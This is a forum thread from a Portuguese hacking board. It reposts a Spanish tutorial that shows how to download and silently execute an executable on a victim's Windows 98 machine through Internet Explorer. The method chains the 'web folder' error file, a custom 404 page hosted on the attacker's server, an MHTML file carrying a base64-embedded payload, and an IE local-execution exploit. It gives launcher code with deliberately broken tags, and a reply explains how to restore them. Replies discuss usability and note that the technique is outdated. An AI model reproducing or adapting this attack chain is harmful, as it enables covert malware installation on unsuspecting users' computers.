descargar e executar silenciosamente un arquivo "web Folder"

Started by Anonymous, 08 de September , 2007, 07:45:36 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Olá pessoal...
Estava dando uma olhada em um site de um grupo Hacker espanhol e encontrei este tutorial super interessante.

Preferi manter a fonte e idioma padrão pois e simples o idioma.


Vamos a ver como es posible insertar y activar un ejecutable en una máquina remota.
El ejemplo que vamos a explicar está pensado y testeado en Windows 98, en WIndows 2k/XP no funcoinará, lo cual no quiere decir que no sean vulnerables, simplemente que este exploit no funcionará en Win2k/XP.
Lo primero que saber algunos conceptos.
Vamos a hacer uso de un componente del Windows llamado "carpeta web" disponible a partir del IE5 al que se puede acceder desde "Mi PC", o desde el explorer en "Archivo">>"Abrir", en donde pondremos: "http://nombreServidor/nombreCarpeta".
No nos vamos a extender aquí en este tema. Para saber mas acerca de qué es y como se utiliza este componente puedes visitar:
http://support.microsoft.com/default.aspx?scid=http://www.microsoft.com/IntlKB/Spain/E195/8/51.ASP
Lo que nos interesa saber es que cuando se hace una llamada a una "carpeta web" determinada, y ésta no existe, se crea un archivo de error llamado: "wecerr.txt" en la carpeta "C:\windows\temp".
Hasta aquí sabemos una manera de crear un archivo de nombre conocido, en un destino también conocido, lo cual no es un mal comienzo.
¿Cómo creamos ese archivo en la máquina "víctima"?
Existe un behavior (evento en html) llamado "httpFolder" específico para abrir una carpeta del tipo "carpeta web" (web folder), puedes aprender mas sobre este evento aquí:

http://msdn.microsoft.com/library/default.asp?url=/workshop/author/behaviors/reference/behaviors/httpfolder.asp

Nos vamos a valer de este evento para mediante código html (es decir, mediante una web) hacer una llamada en la máquina de la víctima en busca de una "carpeta web" y al no existir ésta, se creará el error que comentamos antes. Por lo tanto creamos un archivo que vamos a llamar "lanzador.html" en el que escribimos este códgo:

Quote

function execute()
{ document.body.navigate("http://www.miservidor.com") }

este código, probocará el error "wecerr.txt", que estabamos buscando, en la carpeta "c:\wondows\temp". Una vez que el wecerr.txt se ha abierto vemos que su contenido es el código fuente de la clásica página de error 404 "File not Found".

Bien!!, ¿no os dice nada esto?.
Ya queda poco, necesitamos que ese archivo de error contenga un código distinto, mediante el cual podamos descargar un ejecutable en la máquina "víctima" (depués explicaremos cómo se hace esto).
Pues es fácil, lo que tenemos que hacer es crear en nuestro propio servidor una página de error 404, si si esas que salen cuando se busca un archivo en una página y éste no exsite.
¿que cómo se crea esto?... crea en el directorio raiz de tu servidor web, donde se encuentra hospedada la página, un archivo llamado ".htaccess" en el cual solo debes escribir la siguiente linea:
ErrorDocument 404 /notfound.html
en donde "notfound.html" será el archivo del cual se cópiara el código en el "wecerr.txt", por lo tanto es el que contendrá en código que descargará el ejecutable.
Si tu servidor web no es *nix, no funcionará el .htaccess, pero hay muchos hosing ( incluso gratuitos) que permiten incluir este tipo de páginas de error en tu web.

Llegados a este punto ya sabemos como introducir un archivo determinado con el código html que querramos, en un lugar conocido e incluso ejecutarlo en el Explorer.

¿Y qué código insertamos?
Pues vamos a poner un ejemplo simple y despues entramos en lo serio.
Podemos hacer un archivo "notfound.html" que contenga el siguiente código:

QuoteMIME-Version: 1.0
Content-Type: text/html;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit




face="arial">Buuu!!!!

Pero eso no nos sirve de mucho, lo que queremos es descargar un archivo y ejecutarlo.
Para conseguir esto utilizaremos el formato de los archivos .mhtml, que es muy parecido al formato de un mail ( por no decir igual) y por lo tanto puede llevar incluido un archivo en formato base64 (exactamente igual que los mails).Te recomiendo que aprendas mas sobre este tipo de archivos, pues se están convirtiendo en un arma muy eficaz.

Si sabes algo sobre las cabeceras MIME y sobre el formato de los mails, no te será dificil crear un archivo que contenga nuestro ejecutable, pero por si no eres de esos, vamos a ver cómo crear un archivo de este típoo.

Creamos un archivo en el que pegamos estas lineas:

Quote
From:
Subject:
Date: Tue, 01 Jul 2000 00:00:00 +0200
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0009_01C22CCE.64BE8D90";
type="text/html"
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

En este púnto tenemos que añadir en el código una parte de html que, después al ser llamado ( mas adelante), lance nuestro ejecutable, hay varias opciones para ello, vamos a poner 2 ejemplos:

Primer ejemplo:

Quote------=_NextPart_000_0009_01C22CCE.64BE8D90
Content-Type: text/html;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit
Content-Location: file://C:\exploit.htm





file:///C:/demo.exe">

Como puedes ver en el código mhtml hay una linea en la que pone:
file:///C:/demo.exe">
esta linea es la que hará que el archivo adjunto sea llamado desde el cuerpo del mensaje, de lo contrario el adjunto no sería cargado al abrirse el código mhtml, y, por decirlo de una manera clara, nuestro "demo.exe" simplemente estaría ahí, pero no se ejecutaría.

Para crear el archivo siguiendo este pirmer ejemplo hay una manera mucho mas, simplemente creamos un archivo .html con el siguiente contenido:

Quote



>

situamos nuestro "demo.exe" en C:\ y lo abrimos en el explorer, una vez abierto, vamos a Archivo>>Guardar como... y lo guardamos con la extensión .mht, una vez guardado lo editamos y añadimos esta linea al comienzo del archivo:



Segundo ejemplo:

Seguro que te has fijado en que cada cierto tiempo aparece algún nuevo exploit para el explorer capaz de ejecutar un archivo local, normalmente se te abre la calculadora. Si te preguntabas para qué te puede servir eso a ti, pues aquí está la respuesta, porque vamos a usar el exploit explicado en:

http://www.cyruxnet.org/ie_exec.htm

así quedaría el código

Quote

charset=3Dwindows-1252">



<0BJECT NAME="X"
CLASSID="CLSID:11111111-1111-1111-1111-111111111111" CODEBASE="mhtml:file:///C:/windows/temp/wecerr.txt!file:///c:/demo.exe">


Hasta aquí los dos ejemplos.

A continuación de cualquiera de los códigos HTML anteriores, añadimos las siguientes lineas, que no son mas que las cabeceras MIME del ejecutable que bamos a descargar, pasado a base64:

Quote------=_NextPart_000_0009_01C22CCE.64BE8D90
Content-Type: application/x-msdownload
Content-Transfer-Encoding: base64
Content-Location: file:///C:/demo.exe

Ahora pasamos nuestro ejecutable (demo.exe) a base64 y lo pegamos justo a continuación.
Para pasarlo a base64 podemos hacerlo con un programa específico para esto, o simplemente podemos crear un mail con el "demo.exe" adjunto, guardarlo en alguna carpeta como *.eml, abrirlo con un editor de textos y copiar la cadena en base64 en la que se ha transformado el "demo.exe" al ser incluido en el mail.
Después de esto pegamos esta linea

------=_NextPart_000_0009_01C22CCE.64BE8D90--

y así queda terminado nuesrto notfound.html.
Todo ese código estará despues en el wecerr.txt.

Queda una cosa, tenemos que lanzar el proceso de alguna manera, para ello debemos añadir el código necesario al archivo que habíamos llamado antes "lanzador.html",así es como quedaría:

Quote

function execute()
{ document.body.navigate("http://www.miservidor.com");
location=("file:///c:/windows/temp/wecerr.txt .") }

La parte en rojo es la que hemos añadido. Pero se podría haber hecho de mas maneras, el siguiente código es igual de válido:

Quote<0bject id="dataObject" type="text/html" data="empty.html" style="display:none">



Espera 5 segundos

setTimeout("ExecuteFile()",5000);

var ref = document.getElementById("dataObject").object, sFile="";

function ExecuteFile(){
dataStatus.innerText = "Cargando archivo";
ref.location.href = "file://c:/fdbfd" + (new Date()).getTime();
sFile = 'mhtml:file:///C:/windows/temp/wecerr.txt!file:///C:/demo.exe';
setTimeout("CheckFile()",1000);
}

function CheckFile(){
dataStatus.innerText = "Ejecutando archivo";
var sHTML = HtmlInput.value.replace(/\$WHATFILE\$/, sFile );
ref.body.insertAdjacentHTML( "beforeEnd" , sHTML );
}



Fíjate que el archivo "wecerr.txt" se llama de esta manera:

mhtml:file:///C:/.....

esto es para que el explorador interprete el código que se encuentre, en vez de simplemente sacarlo por pantalla.
este código lo podemos encontrar en un exploit para el Winamp en:

http://kuperus.xs4all.nl/winamp.htm

Ahora subimos el ".htaccess" y el "notfound.html" a nuestro servidor web. Y ya está. Si todo ha ido bien, al ejecutar el "lanzador.html" debido al "truco" de la "carpeta web" se creará en "C:\windows\temp" el archivo "wecerr.txt" que contiene el código mhtml que copió del "notfound.html", en el cual se encuentra incluido el "demo.exe", el "lanzador.html" se encargará despues de 5 segundos de ejecutar, mediante el exploit del explorer, el "wecerr.txt" y al ejecutarse éste, se ejecutará también nuestro "demo.exe"

Para cualquier duda o comentario puedes ir al foro sobre este tema aquí

NOTA1:
Para crear el exploit para Win2k/XP deberíamos cambiar de exploit del Internet Explorer, o al menos utilizar algo del tipo de:
http://www.security.nnov.ru/search/docu ... docid=2709
NOTA2:
Debes sustituir scr!pt por script, b0dy por body y 0bject por object para que los códigos funcionen.
Fontes:
http://sec.greymagic.com/adv/gm001-ie/
http://www.security.nnov.ru/search/docu ... docid=2709
http://kuperus.xs4all.nl/winamp.htm
Link 2 a http://msdn.microsoft.com
Link 1 a http://support.microsoft.com
http://online.securityfocus.com/archive/1/287476
Texto escrito por CyruxNET

Anonymous

Interessante, dá pra entender tranquilo esse texto.
Infelizmente como dito no início do texto, não dá pra fazer em plataformas win2k/XP - Nas notas existe uma referência de exemplo pra fazer a aplicação nessas plataformas.
Mas a forma de aplicação é interessante.

Aos usuários que não leram as notas, e/ou não entenderam.

QuoteNOTA2:
Debes sustituir scr!pt por script, b0dy por body y 0bject por object para que los códigos funcionen.

Deves substituir scr!pt por script, b0dy por body e 0bject por object para que os códigos funcionem.

Alguns usuários devem ter se perdido por não verem essas notas. Dá pra utilizar o dreamweaver pra fazer as trocas, aperte Ctrl+F e no formulário de cima coloque a tag a ser substituída e no debaixo coloca a nova tag, tipo b0dy no primeiro e body no segundo. Depois clique em "Replace All".
Copiem o tutorial inteiro para fazer a modificação por completa, depois jogue no seu Notepad e leia com atenção. ;)
Espanhol é de fácil entendimento na leitura, um tanto quanto complicado na fala. Mas dá pra dar uma empurrada e conseguir.

Flws!

branco

nao entendi direito nao, doque adianta eu fazer isso tudo no meu servidor local ? teriamos que fazer isso no servidor da micrisoft por exemplo, mas ele ta explicando localmente e nao tem como modificarmos a pagina de erro 404 no servidor

se alguem puder resumir oque essa tecnica faz eu agradeço, pq do jeito que eu consegui entender nao vai funcionar
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Magrinho Loko

To meio enferrujado em Espanhol e suas derivações mas vou tentar traduzir o texto. Embora como nosso colega LastSchool disse, é muito fácil entender o texto.
Saudades do antigo Darkers.

Wuefez

Antes de postar qualquer coisa, verifique a data, vemos que o texto é de 28/02/2002.
Ou seja só é uma coisa conhecida a pelo menos 5 anos.

Em um mundo aonde exploits se tornam obsoletos em 6 meses, um exploit para uma plataforma conhecida como essa.....................

Bem nao preciso continuar certo?

// Wuefez


"Quem fala não faz."